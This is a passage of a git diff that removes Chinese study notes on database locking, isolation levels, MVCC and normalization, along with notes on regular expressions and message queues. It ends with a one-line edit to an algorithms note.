-但是加锁需要消耗资源，锁的各种操作（包括获取锁、释放锁、以及检查锁状态）都会增加系统开销。因此封锁粒度越小，系统开销就越大。
-
-在选择封锁粒度时，需要在锁开销和并发程度之间做一个权衡。
-
-## 封锁类型
-
-### 1. 读写锁
-
-- 排它锁（Exclusive），简写为 X 锁，又称写锁。
-- 共享锁（Shared），简写为 S 锁，又称读锁。
-
-有以下两个规定：
-
-- 一个事务对数据对象 A 加了 X 锁，就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
-- 一个事务对数据对象 A 加了 S 锁，可以对 A 进行读取操作，但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁，但是不能加 X 锁。
-
-锁的兼容关系如下：
-
-| - | X | S |
-| :--: | :--: | :--: |
-|X|NO|NO|
-|S|NO|YES|
-
-### 2. 意向锁
-
-使用意向锁（Intention Locks）可以更容易地支持多粒度封锁。
-
-在存在行级锁和表级锁的情况下，事务 T 想要对表 A 加 X 锁，就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁，那么就需要对表 A 的每一行都检测一次，这是非常耗时的。
-
-意向锁在原来的 X/S 锁之上引入了 IX/IS，IX/IS 都是表锁，用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定：
-
-- 一个事务在获得某个数据行对象的 S 锁之前，必须先获得表的 IS 锁或者更强的锁；
-- 一个事务在获得某个数据行对象的 X 锁之前，必须先获得表的 IX 锁。
-
-通过引入意向锁，事务 T 想要对表 A 加 X 锁，只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁，如果加了就表示有其它事务正在使用这个表或者表中某一行的锁，因此事务 T 加 X 锁失败。
-
-各种锁的兼容关系如下：
-
-| - | X | IX | S | IS |
-| :--: | :--: | :--: | :--: | :--: |
-|X     |NO    |NO    |NO   | NO|
-|IX    |NO    |YES   |NO   | YES|
-|S     |NO    |NO    |YES  | YES|
-|IS    |NO    |YES  |YES  | YES|
-
-解释如下：
-
-- 任意 IS/IX 锁之间都是兼容的，因为它们只是表示想要对表加锁，而不是真正加锁；
-- S 锁只与 S 锁和 IS 锁兼容，也就是说事务 T 想要对数据行加 S 锁，其它事务可以已经获得对表或者表中的行的 S 锁。
-
-## 封锁协议
-
-### 1. 三级封锁协议
-
-**一级封锁协议** 
-
-事务 T 要修改数据 A 时必须加 X 锁，直到 T 结束才释放锁。
-
-可以解决丢失修改问题，因为不能同时有两个事务对同一个数据进行修改，那么事务的修改就不会被覆盖。
-
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-x(A) | |
-| read A=20 | |
-| | lock-x(A) |
-|  | wait |
-| write A=19 |. |
-| commit |. |
-| unlock-x(A) |. |
-| | obtain |
-| | read A=19 |
-| | write A=21 |
-| | commit |
-| | unlock-x(A)|
-
-**二级封锁协议** 
-
-在一级的基础上，要求读取数据 A 时必须加 S 锁，读取完马上释放 S 锁。
-
-可以解决读脏数据问题，因为如果一个事务在对数据 A 进行修改，根据 1 级封锁协议，会加 X 锁，那么就不能再加 S 锁了，也就是不会读入数据。
-
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-x(A) | |
-| read A=20 | |
-| write A=19 | |
-| | lock-s(A) |
-|  | wait |
-| rollback | .|
-| A=20 |. |
-| unlock-x(A) |. |
-| | obtain |
-| | read A=20 |
-| | commit |
-| | unlock-s(A)|
-
-**三级封锁协议** 
-
-在二级的基础上，要求读取数据 A 时必须加 S 锁，直到事务结束了才能释放 S 锁。
-
-可以解决不可重复读的问题，因为读 A 时，其它事务不能对 A 加 X 锁，从而避免了在读的期间数据发生改变。
-
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-s(A) | |
-| read A=20 | |
-|  |lock-x(A) |
-| | wait |
-|  read A=20| . |
-| commit | .|
-| unlock-s(A) |. |
-| | obtain |
-| | read A=20 |
-| | write A=19|
-| | commit |
-| | unlock-X(A)|
-
-### 2. 两段锁协议
-
-加锁和解锁分为两个阶段进行。
-
-可串行化调度是指，通过并发控制，使得并发执行的事务结果与某个串行执行的事务结果相同。
-
-事务遵循两段锁协议是保证可串行化调度的充分条件。例如以下操作满足两段锁协议，它是可串行化调度。
-
-```html
-lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B)
-```
-
-但不是必要条件，例如以下操作不满足两段锁协议，但是它还是可串行化调度。
-
-```html
-lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(C)...unlock(C)
-```
-
-## MySQL 隐式与显示锁定
-
-MySQL 的 InnoDB 存储引擎采用两段锁协议，会根据隔离级别在需要的时候自动加锁，并且所有的锁都是在同一时刻被释放，这被称为隐式锁定。
-
-InnoDB 也可以使用特定的语句进行显示锁定：
-
-```sql
-SELECT ... LOCK In SHARE MODE;
-SELECT ... FOR UPDATE;
-```
-
-# 四、隔离级别
-
-## 未提交读（READ UNCOMMITTED）
-
-事务中的修改，即使没有提交，对其它事务也是可见的。
-
-## 提交读（READ COMMITTED）
-
-一个事务只能读取已经提交的事务所做的修改。换句话说，一个事务所做的修改在提交之前对其它事务是不可见的。
-
-## 可重复读（REPEATABLE READ）
-
-保证在同一个事务中多次读取同样数据的结果是一样的。
-
-## 可串行化（SERIALIZABLE）
-
-强制事务串行执行。
-
-----
-
-| 隔离级别 | 脏读 | 不可重复读 | 幻影读 |
-| :---: | :---: | :---:| :---: |
-| 未提交读 | YES | YES | YES |
-| 提交读 | NO | YES | YES |
-| 可重复读 | NO | NO | YES |
-| 可串行化 | NO | NO | NO |
-
-# 五、多版本并发控制
-
-多版本并发控制（Multi-Version Concurrency Control, MVCC）是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式，用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行，无需使用 MVCC；可串行化隔离级别需要对所有读取的行都加锁，单纯使用 MVCC 无法实现。
-
-## 版本号
-
-- 系统版本号：是一个递增的数字，每开始一个新的事务，系统版本号就会自动递增。
-- 事务版本号：事务开始时的系统版本号。
-
-InooDB 的 MVCC 在每行记录后面都保存着两个隐藏的列，用来存储两个版本号：
-
-- 创建版本号：指示创建一个数据行的快照时的系统版本号；
-- 删除版本号：如果该快照的删除版本号大于当前事务版本号表示该快照有效，否则表示该快照已经被删除了。
-
-## Undo 日志
-
-InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中，该日志通过回滚指针把一个数据行（Record）的所有快照连接起来。
-
-<div align="center"> <img src="../pics//e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/> </div><br>
-
-## 实现过程
-
-以下实现过程针对可重复读隔离级别。
-
-### 1. SELECT
-
-当开始新一个事务时，该事务的版本号肯定会大于当前所有数据行快照的创建版本号，理解这一点很关键。
-
-多个事务必须读取到同一个数据行的快照，并且这个快照是距离现在最近的一个有效快照。但是也有例外，如果有一个事务正在修改该数据行，那么它可以读取事务本身所做的修改，而不用和其它事务的读取结果一致。
-
-把没有对一个数据行做修改的事务称为 T，T 所要读取的数据行快照的创建版本号必须小于 T 的版本号，因为如果大于或者等于 T 的版本号，那么表示该数据行快照是其它事务的最新修改，因此不能去读取它。
-
-除了上面的要求，T 所要读取的数据行快照的删除版本号必须大于 T 的版本号，因为如果小于等于 T 的版本号，那么表示该数据行快照是已经被删除的，不应该去读取它。
-
-### 2. INSERT
-
-将当前系统版本号作为数据行快照的创建版本号。
-
-### 3. DELETE
-
-将当前系统版本号作为数据行快照的删除版本号。
-
-### 4. UPDATE
-
-将当前系统版本号作为更新前的数据行快照的删除版本号，并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
-
-## 快照读与当前读
-
-### 1. 快照读
-
-使用 MVCC 读取的是快照中的数据，这样可以减少加锁所带来的开销。
-
-```sql
-select * from table ...;
-```
-
-### 2. 当前读
-
-读取的是最新的数据，需要加锁。以下第一个语句需要加 S 锁，其它都需要加 X 锁。
-
-```sql
-select * from table where ? lock in share mode;
-select * from table where ? for update;
-insert;
-update;
-delete;
-```
-
-# 六、Next-Key Locks
-
-Next-Key Locks 也是 MySQL 的 InnoDB 存储引擎的一种锁实现。MVCC 不能解决幻读的问题，Next-Key Locks 就是为了解决这个问题而存在的。在可重复读（REPEATABLE READ）隔离级别下，使用 MVCC + Next-Key Locks 可以解决幻读问题。
-
-## Record Locks
-
-锁定整个记录（行）。锁定的对象是记录的索引，而不是记录本身。如果表没有设置索引，InnoDB 会自动在主键上创建隐藏的聚集索引，因此 Record Locks 依然可以使用。
-
-## Gap Locks
-
-锁定一个范围内的索引，例如当一个事务执行以下语句，其它事务就不能在 t.c 中插入 15。
-
-```sql
-SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
-```
-
-## Next-Key Locks
-
-它是 Record Locks 和 Gap Locks 的结合，不仅锁定一个记录，也锁定范围内的索引。在 user 中有以下记录：
-
-```sql
-|   id | last_name   | first_name   |   age |
-|------|-------------|--------------|-------|
-|    4 | stark       | tony         |    21 |
-|    1 | tom         | hiddleston   |    30 |
-|    3 | morgan      | freeman      |    40 |
-|    5 | jeff        | dean         |    50 |
-|    2 | donald      | trump        |    80 |
-+------|-------------|--------------|-------+
-```
-
-那么就需要锁定以下范围：
-
-```sql
-(-∞, 21]
-(21, 30]
-(30, 40]
-(40, 50]
-(50, 80]
-(80, ∞)
-```
-
-# 七、关系数据库设计理论
-
-## 函数依赖
-
-记 A->B 表示 A 函数决定 B，也可以说 B 函数依赖于 A。
-
-如果 {A1，A2，... ，An} 是关系的一个或多个属性的集合，该集合函数决定了关系的其它所有属性并且是最小的，那么该集合就称为键码。
-
-对于 A->B，如果能找到 A 的真子集 A'，使得 A'-> B，那么 A->B 就是部分函数依赖，否则就是完全函数依赖；
-
-对于 A->B，B->C，则 A->C 是一个传递函数依赖。
-
-## 异常
-
-以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade，键码为 {Sno, Cname}。也就是说，确定学生和课程之后，就能确定其它信息。
-
-| Sno | Sname | Sdept | Mname | Cname | Grade |
-| :---: | :---: | :---: | :---: | :---: |:---:|
-| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
-| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
-
-不符合范式的关系，会产生很多异常，主要有以下四种异常：
-
-- 冗余数据：例如 学生-2 出现了两次。
-- 修改异常：修改了一个记录中的信息，但是另一个记录中相同的信息却没有被修改。
-- 删除异常：删除一个信息，那么也会丢失其它信息。例如如果删除了 课程-1，需要删除第一行和第三行，那么 学生-1 的信息就会丢失。
-- 插入异常，例如想要插入一个学生的信息，如果这个学生还没选课，那么就无法插入。
-
-## 范式
-
-范式理论是为了解决以上提到四种异常。
-
-高级别范式的依赖于低级别的范式，1NF 是最低级别的范式。
-
-<div align="center"> <img src="../pics//c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/> </div><br>
-
-### 1. 第一范式 (1NF)
-
-属性不可分；
-
-### 2. 第二范式 (2NF)
-
-每个非主属性完全函数依赖于键码。
-
-可以通过分解来满足。
-
-<font size=4> **分解前** </font><br>
-
-| Sno | Sname | Sdept | Mname | Cname | Grade |
-| :---: | :---: | :---: | :---: | :---: |:---:|
-| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
-| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
-
-以上学生课程关系中，{Sno, Cname} 为键码，有如下函数依赖：
-
-- Sno -> Sname, Sdept
-- Sdept -> Mname
-- Sno, Cname-> Grade
-
-Grade 完全函数依赖于键码，它没有任何冗余数据，每个学生的每门课都有特定的成绩。
-
-Sname, Sdept 和 Mname 都部分依赖于键码，当一个学生选修了多门课时，这些数据就会出现多次，造成大量冗余数据。
-
-<font size=4> **分解后** </font><br>
-
-关系-1
-
-| Sno | Sname | Sdept | Mname |
-| :---: | :---: | :---: | :---: |
-| 1 | 学生-1 | 学院-1 | 院长-1 |
-| 2 | 学生-2 | 学院-2 | 院长-2 |
-| 3 | 学生-3 | 学院-2 | 院长-2 |
-
-有以下函数依赖：
-
-- Sno -> Sname, Sdept
-- Sdept -> Mname
-
-关系-2
-
-| Sno | Cname | Grade |
-| :---: | :---: |:---:|
-| 1 | 课程-1 | 90 |
-| 2 | 课程-2 | 80 |
-| 2 | 课程-1 | 100 |
-| 3 | 课程-2 | 95 |
-
-有以下函数依赖：
-
-- Sno, Cname ->  Grade
-
-### 3. 第三范式 (3NF)
-
-非主属性不传递函数依赖于键码。
-
-上面的 关系-1 中存在以下传递函数依赖：Sno -> Sdept -> Mname，可以进行以下分解：
-
-关系-11
-
-| Sno | Sname | Sdept |
-| :---: | :---: | :---: |
-| 1 | 学生-1 | 学院-1 |
-| 2 | 学生-2 | 学院-2 |
-| 3 | 学生-3 | 学院-2 |
-
-关系-12
-
-| Sdept | Mname |
-| :---: | :---: |
-| 学院-1 | 院长-1 |
-| 学院-2 | 院长-2 |
-
-# 八、ER 图
-
-Entity-Relationship，有三个组成部分：实体、属性、联系。
-
-用来进行关系型数据库系统的概念设计。
-
-## 实体的三种联系
-
-包含一对一，一对多，多对多三种。
-
-如果 A 到 B 是一对多关系，那么画个带箭头的线段指向 B；如果是一对一，画两个带箭头的线段；如果是多对多，画两个不带箭头的线段。下图的 Course 和 Student 是一对多的关系。
-
-<div align="center"> <img src="../pics//292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/> </div><br>
-
-## 表示出现多次的关系
-
-一个实体在联系出现几次，就要用几条线连接。下图表示一个课程的先修关系，先修关系出现两个 Course 实体，第一个是先修课程，后一个是后修课程，因此需要用两条线来表示这种关系。
-
-<div align="center"> <img src="../pics//8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/> </div><br>
-
-## 联系的多向性
-
-虽然老师可以开设多门课，并且可以教授多名学生，但是对于特定的学生和课程，只有一个老师教授，这就构成了一个三元联系。
-
-<div align="center"> <img src="../pics//423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/> </div><br>
-
-一般只使用二元联系，可以把多元关系转换为二元关系。
-
-<div align="center"> <img src="../pics//de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/> </div><br>
-
-## 表示子类
-
-用一个三角形和两条线来连接类和子类，与子类有关的属性和联系都连到子类上，而与父类和子类都有关的连到父类上。
-
-<div align="center"> <img src="../pics//7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/> </div><br>
-
-# 参考资料
-
-- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.
-- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
-- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
-- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
-- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
-- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
-- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
-- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
-- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
-- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
-- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
-- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/innodb-lock.html)
diff --git a/notes/正则表达式.md b/notes/正则表达式.md
index c6c21f2c..649f563a 100644
--- a/notes/正则表达式.md
+++ b/notes/正则表达式.md
@@ -1,389 +1,4 @@
 <!-- GFM-TOC -->
-* [一、概述](#一概述)
-* [二、匹配单个字符](#二匹配单个字符)
-* [三、匹配一组字符](#三匹配一组字符)
-* [四、使用元字符](#四使用元字符)
-* [五、重复匹配](#五重复匹配)
-* [六、位置匹配](#六位置匹配)
-* [七、使用子表达式](#七使用子表达式)
-* [八、回溯引用](#八回溯引用)
-* [九、前后查找](#九前后查找)
-* [十、嵌入条件](#十嵌入条件)
-* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、概述
-
-正则表达式用于文本内容的查找和替换。
-
-正则表达式内置于其它语言或者软件产品中，它本身不是一种语言或者软件。
-
-[正则表达式在线工具](https://regexr.com/)
-
-# 二、匹配单个字符
-
-正则表达式一般是区分大小写的，但是也有些实现是不区分。
-
-**.**  可以用来匹配任何的单个字符，但是在绝大多数实现里面，不能匹配换行符；
-
-**\\**  是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \ 进行转义，即在 . 前面加上 \ 。
-
-**正则表达式** 
-
-```
-nam.
-```
-
-**匹配结果** 
-
-My  **name**  is Zheng.
-
-# 三、匹配一组字符
-
-**[ ]**  定义一个字符集合；
-
-0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间只能用在 [ ] 之间。
-
-**-**  元字符只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；
-
-**^**  在 [ ] 字符集合中是取非操作。
-
-**应用** 
-
-匹配以 abc 为开头，并且最后一个字母不为数字的字符串：
-
-**正则表达式** 
-
-```
-abc[^0-9]
-```
-
-**匹配结果** 
-
-1.  **abcd** 
-2. abc1
-3. abc2
-
-# 四、使用元字符
-
-## 匹配空白字符
-
-|  元字符 | 说明  |
-| :---: | :---: |
-|  [\b] | 回退（删除）一个字符   |
-|  \f |  换页符 |
-|  \n |  换行符 |
-|  \r |  回车符 |
-|  \t |  制表符 |
-|  \v |  垂直制表符 |
-
-\r\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \n ；\r\n\r\n 可以匹配 Windows 下的空白行，因为它将匹配两个连续的行尾标签，而这正是两条记录之间的空白行；
-
-. 是元字符，前提是没有对它们进行转义；f 和 n 也是元字符，但是前提是对它们进行了转义。
-
-## 匹配特定的字符类别
-
-### 1. 数字元字符
-
-|  元字符 | 说明  |
-| :---: | :---: |
-| \d  | 数字字符，等价于 [0-9]  |
-| \D  | 非数字字符，等价于 [^0-9]   |
-
-### 2. 字母数字元字符
-
-|  元字符 | 说明  |
-| :---: | :---: |
-| \w  |  大小写字母，下划线和数字，等价于 [a-zA-Z0-9\_] |
-|  \W |  对 \w 取非 |
-
-### 3. 空白字符元字符
-
-| 元字符  | 说明  |
-| :---: | :---: |
-|  \s | 任何一个空白字符，等价于 [\f\n\r\t\v]  |
-| \S  |  对 \s 取非  |
-
-\x 匹配十六进制字符，\0 匹配八进制，例如 \x0A 对应 ASCII 字符 10 ，等价于 \n，也就是它会匹配 \n 。
-
-# 五、重复匹配
-
-**\+**  匹配 1 个或者多个字符， **\*** 匹配 0 个或者多个，**?** 匹配 0 个或者 1 个。
-
-**应用** 
-
-匹配邮箱地址。
-
-**正则表达式** 
-
-```
-[\w.]+@\w+\.\w+
-```
-
-[\w.] 匹配的是字母数字或者 . ，在其后面加上 + ，表示匹配多次。在字符集合 [ ] 里，. 不是元字符；
-
-**匹配结果** 
-
-**abc.def<span>@</span>qq.com** 
-
-为了可读性，常常把转义的字符放到字符集合 [ ] 中，但是含义是相同的。
-
-```
-[\w.]+@\w+\.\w+
-[\w.]+@[\w]+[\.][\w]+
-```
-
-**{n}**  匹配 n 个字符，**{m, n}** 匹配 m\~n 个字符，**{m,}** 至少匹配 m 个字符；
-
-\* 和 + 都是贪婪型元字符，会匹配最多的内容，在元字符后面加 ? 可以转换为懒惰型元字符，例如 \*?、+? 和 {m, n}? 。
-
-**正则表达式** 
-
-```
-a.+c
-```
-
-由于 + 是贪婪型的，因此 .+ 会匹配更可能多的内容，所以会把整个 abcabcabc 文本都匹配，而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
-
-**匹配结果** 
-
-**abcabcabc** 
-
-# 六、位置匹配
-
-## 单词边界
-
-**\b**  可以匹配一个单词的边界，边界是指位于 \w 和 \W 之间的位置；**\B** 匹配一个不是单词边界的位置。
-
-\b 只匹配位置，不匹配字符，因此 \babc\b 匹配出来的结果为 3 个字符。
-
-## 字符串边界
-
-**^**  匹配整个字符串的开头，**$** 匹配结尾。
-
-^ 元字符在字符集合中用作求非，在字符集合外用作匹配字符串的开头。
-
-分行匹配模式（multiline）下，换行被当做字符串的边界。
-
-**应用** 
-
-匹配代码中以 // 开始的注释行
-
-**正则表达式** 
-
-```
-^\s*\/\/.*$
-```
-
-<div align="center"> <img src="../pics//600e9c75-5033-4dad-ae2b-930957db638e.png"/> </div><br>
-
-**匹配结果** 
-
-1. public void fun() {
-2. &nbsp;&nbsp;&nbsp;&nbsp;     **// 注释 1** 
-3. &nbsp;&nbsp;&nbsp;&nbsp;    int a = 1;
-4. &nbsp;&nbsp;&nbsp;&nbsp;    int b = 2;
-5. &nbsp;&nbsp;&nbsp;&nbsp;     **// 注释 2** 
-6. &nbsp;&nbsp;&nbsp;&nbsp;    int c = a + b;
-7. }
-
-# 七、使用子表达式
-
-使用  **( )**  定义一个子表达式。子表达式的内容可以当成一个独立元素，即可以将它看成一个字符，并且使用 * 等元字符。
-
-子表达式可以嵌套，但是嵌套层次过深会变得很难理解。
-
-**正则表达式** 
-
-```
-(ab){2,}
-```
-
-**匹配结果** 
-
-**ababab** 
-
-**|**  是或元字符，它把左边和右边所有的部分都看成单独的两个部分，两个部分只要有一个匹配就行。
-
-**正则表达式** 
-
-```
-(19|20)\d{2}
-```
-
-**匹配结果** 
-
-1.  **1900** 
-2.  **2010** 
-3. 1020
-
-**应用** 
-
-匹配 IP 地址。IP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：
-
-- 一位数字
-- 不以 0 开头的两位数字
-- 1 开头的三位数
-- 2 开头，第 2 位是 0-4 的三位数
-- 25 开头，第 3 位是 0-5 的三位数
-
-**正则表达式** 
-
-```
-((25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))\.){3}(25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))
-```
-
-**匹配结果** 
-
-1.  **192.168.0.1** 
-2. 00.00.00.00
-3. 555.555.555.555
-
-# 八、回溯引用
-
-回溯引用使用  **\n**  来引用某个子表达式，其中 n 代表的是子表达式的序号，从 1 开始。它和子表达式匹配的内容一致，比如子表达式匹配到 abc，那么回溯引用部分也需要匹配 abc 。
-
-**应用** 
-
-匹配 HTML 中合法的标题元素。
-
-**正则表达式** 
-
-\1 将回溯引用子表达式 (h[1-6]) 匹配的内容，也就是说必须和子表达式匹配的内容一致。
-
-```
-<(h[1-6])>\w*?<\/\1>
-```
-
-**匹配结果** 
-
-1.  **&lt;h1>x&lt;/h1>** 
-2.  **&lt;h2>x&lt;/h2>** 
-3. &lt;h3>x&lt;/h1>
-
-## 替换
-
-需要用到两个正则表达式。
-
-**应用** 
-
-修改电话号码格式。
-
-**文本** 
-
-313-555-1234
-
-**查找正则表达式** 
-
-```
-(\d{3})(-)(\d{3})(-)(\d{4})
-```
-
-**替换正则表达式** 
-
-在第一个子表达式查找的结果加上 () ，然后加一个空格，在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
-
-```
-($1) $3-$5
-```
-
-**结果** 
-
-(313) 555-1234
-
-## 大小写转换
-
-|  元字符 | 说明  |
-| :---: | :---: |
-|  \l | 把下个字符转换为小写  |
-|   \u| 把下个字符转换为大写  |
-|  \L | 把\L 和\E 之间的字符全部转换为小写  |
-|  \U | 把\U 和\E 之间的字符全部转换为大写  |
-|  \E | 结束\L 或者\U  |
-
-**应用** 
-
-把文本的第二个和第三个字符转换为大写。
-
-**文本** 
-
-abcd
-
-**查找** 
-
-```
-(\w)(\w{2})(\w)
-```
-
-**替换** 
-
-```
-$1\U$2\E$3
-```
-
-**结果** 
-
-aBCd
-
-# 九、前后查找
-
-前后查找规定了匹配的内容首尾应该匹配的内容，但是又不包含首尾匹配的内容。向前查找用  **?=**  来定义，它规定了尾部匹配的内容，这个匹配的内容在 ?= 之后定义。所谓向前查找，就是规定了一个匹配的内容，然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义（注: javaScript 不支持向后匹配, java 对其支持也不完善）。
-
-**应用** 
-
-查找出邮件地址 @ 字符前面的部分。
-
-**正则表达式** 
-
-```
-\w+(?=@)
-```
-
-**结果** 
-
-**abc** @qq.com
-
-对向前和向后查找取非，只要把 = 替换成 ! 即可，比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
-
-# 十、嵌入条件
-
-## 回溯引用条件
-
-条件判断为某个子表达式是否匹配，如果匹配则需要继续匹配条件表达式后面的内容。
-
-**正则表达式** 
-
-子表达式 (\\() 匹配一个左括号，其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件，当子表达式 1 匹配时条件成立，需要执行 \) 匹配，也就是匹配右括号。
-
-```
-(\()?abc(?(1)\))
-```
-
-**结果** 
-
-1.  **(abc)** 
-2.  **abc** 
-3. (abc
-
-## 前后查找条件
-
-条件为定义的首尾是否匹配，如果匹配，则继续执行后面的匹配。注意，首尾不包含在匹配的内容中。
-
-**正则表达式** 
-
- ?(?=-) 为前向查找条件，只有在以 - 为前向查找的结尾能匹配 \d{5} ，才继续匹配 -\d{4} 。
-
-```
-\d{5}(?(?=-)-\d{4})
-```
-
-**结果** 
-
-1.  **11111** 
-2. 22222-
-3.  **33333-4444** 
-
-# 参考资料
-
-- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
diff --git a/notes/消息队列.md b/notes/消息队列.md
index e28fcd3f..649f563a 100644
--- a/notes/消息队列.md
+++ b/notes/消息队列.md
@@ -1,80 +1,4 @@
 <!-- GFM-TOC -->
-* [一、消息模型](#一消息模型)
-    * [点对点](#点对点)
-    * [发布/订阅](#发布订阅)
-* [二、使用场景](#二使用场景)
-    * [异步处理](#异步处理)
-    * [流量削锋](#流量削锋)
-    * [应用解耦](#应用解耦)
-* [三、可靠性](#三可靠性)
-    * [发送端的可靠性](#发送端的可靠性)
-    * [接收端的可靠性](#接收端的可靠性)
 <!-- GFM-TOC -->
 
 
-# 一、消息模型
-
-## 点对点
-
-消息生产者向消息队列中发送了一个消息之后，只能被一个消费者消费一次。
-
-<div align="center"> <img src="../pics//09b52bcb-88ba-4e36-8244-b375f16ad116.jpg"/> </div><br>
-
-## 发布/订阅
-
-消息生产者向频道发送一个消息之后，多个消费者可以从该频道订阅到这条消息并消费。
-
-<div align="center"> <img src="../pics//ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg"/> </div><br>
-
-发布与订阅模式和观察者模式有以下不同：
-
-- 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，发布者与订阅者不知道对方的存在，它们之间通过频道进行通信。
-- 观察者模式是同步的，当事件触发时，主题会去调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，发布者向频道发送一个消息之后，就不需要关心订阅者何时去订阅这个消息。
-
-<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg"/> </div><br>
-
-参考：
-
-- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
-- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
-
-# 二、使用场景
-
-## 异步处理
-
-发送者将消息发送给消息队列之后，不需要同步等待消息接收者处理完毕，而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
-
-例如在注册流程中通常需要发送验证邮件来确保注册用户的身份合法，可以使用消息队列使发送验证邮件的操作异步处理，用户在填写完注册信息之后就可以完成注册，而将发送验证邮件这一消息发送到消息队列中。
-
-只有在业务流程允许异步处理的情况下才能这么做，例如上面的注册流程中，如果要求用户对验证邮件进行点击之后才能完成操作的话，就不能再使用消息队列。
-
-## 流量削锋
-
-在高并发的场景下，如果短时间有大量的请求会压垮服务器。
-
-可以将请求发送到消息队列中，服务器按照其处理能力从消息队列中订阅消息进行处理。
-
-## 应用解耦
-
-如果模块之间不直接进行调用，模块之间耦合度很低，那么修改一个模块或者新增一个模块对其它模块的影响会很小，从而实现可扩展性。
-
-通过使用消息队列，一个模块只需要向消息队列中发送消息，其它模块可以选择性地从消息队列中订阅消息从而完成调用。
-
-# 三、可靠性
-
-## 发送端的可靠性
-
-发送端完成操作后一定能将消息成功发送到消息队列中。
-
-实现方法：
-
-- 在本地数据库建一张消息表，将消息数据与业务数据保存在同一数据库实例里，这样就可以利用本地数据库的事务机制。事务提交成功后，将消息表中的消息转移到消息队列中，若转移消息成功则删除消息表中的数据，否则继续重传。
-
-## 接收端的可靠性
-
-接收端能够从消息中间件成功消费一次消息。
-
-实现方法：
-
-- 保证接收端处理消息的业务逻辑具有幂等性：只要具有幂等性，那么消费多少次消息，最后处理的结果都是一样的。
-- 保证消息具有唯一编号，并使用一张日志表来记录已经消费的消息编号。
diff --git a/notes/算法.md b/notes/算法.md
index df5a8049..fb878742 100644
--- a/notes/算法.md
+++ b/notes/算法.md
@@ -2050,7 +2050,7 @@ public class SparseVector {
 
 如果只有一个圆盘，那么只需要进行一次移动操作。
 
-从上面的讨论可以知道，n 圆盘需要移动 (n-1)+1+(n-1) = 2n-1 次。
